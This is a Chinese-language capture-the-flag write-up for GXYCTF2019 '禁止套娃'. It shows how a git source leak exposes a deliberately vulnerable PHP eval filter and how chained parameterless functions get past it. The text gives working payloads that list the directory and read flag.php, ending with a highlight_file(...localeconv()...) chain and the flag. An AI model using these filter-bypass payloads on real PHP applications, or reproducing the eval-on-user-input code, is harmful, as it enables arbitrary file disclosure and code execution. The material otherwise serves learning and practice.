[GXYCTF2019]禁止套娃
[GXYCTF2019]禁止套娃

[GXYCTF2019]禁止套娃

考点:无参数rce读取任意文件

在此之前可以参考Leon师傅发表在合天上面的文章:http://www.heetian.com/info/827

开局直接啥也找不到…这种情况一般是源码泄露.如果你的扫描器足够强大应该可以扫到/.git ,到这里此题的第一步已经完成,直接工具捕捉git源码泄露,得到如下的代码:

接下来对这段PHP代码进行分析:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset(_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i',_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, _GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i',_GET['exp'])) {
                // echo _GET['exp'];
                @eval(_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

在第五行的代码:if (!preg_match(‘/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i’, $_GET[‘exp’])) 利用正则表达匹配data,filter,php,phar等关键字符串,防止解题者通过伪协议直接读取文件

在第六行的代码:if(‘;’ = preg_replace(‘/[a-z,]+((?R)?)/’, NULL, $_GET[‘exp’]))这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式,所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;.举个例子:a(b(c()));可以使用,但是a(‘b’)或者a(‘b’,’c’)这种含有参数的都不能使用,所以我们要使用无参数的函数进行文件读取或者命令执行.

既然是读文件获取flag,首先应该执行的应该是print_r(scandir(‘.’))列举当前目录下的所有文件.但是此题无法进行传参,所以我们需要构造”.”,

在这之前先获取一些全局变量的信息,测试本题是否回显:

成功得到回显,php版本为5.6.40.

现在我们开始尝试使用PHP函数构造”.”(这里只阐述本题的解题思路,更多骚操作请参考文章开头Leon师傅发表在合天上面的文章)

先介绍使用到的函数

  1. localeconv():localeconv()返回一包含本地数字及货币格式信息的数组。这个数组的第一项就是我们需要的”.”
  2. current():current()返回数组中的单元,默认取第一个值,在本题中我们只需要使用localeconv(current())便可以构造出我们一直念念不忘的”.”
payload:?exp=print_r(scandir(current(localeconv())));

得到以下回显:

此时我们已经得到该目录下的所有文件,可以看到第四个文件是index.php,而第三个文件就是我们所需要读取的flag.php.接下来介绍我们需要用到的另外两个函数:

  1. array_reverse():将输入的数组反向排序输出,在本题中将index.php作为数组的第一个元素,flag.php作为数组的第二个元素.
  2. next():将当前数组的光标向后移一位,在本题中即将光标从index.php转向后面一项的flag.php
payload:?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

结果如下图:

可以看到我们已经将光标定位在了我们要读的flag.php上面,现在只需要使用show_source(end(scandir(getcwd())));或者用readfile、highlight_file、file_get_contents 等读文件函数都可以(使用readfile和file_get_contents读文件,显示在源码处)

最终payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))))

成功读到flag.

flag{2275beda-a953-4907-bcb5-62fd1989825d}

发表评论

您的电子邮箱地址不会被公开。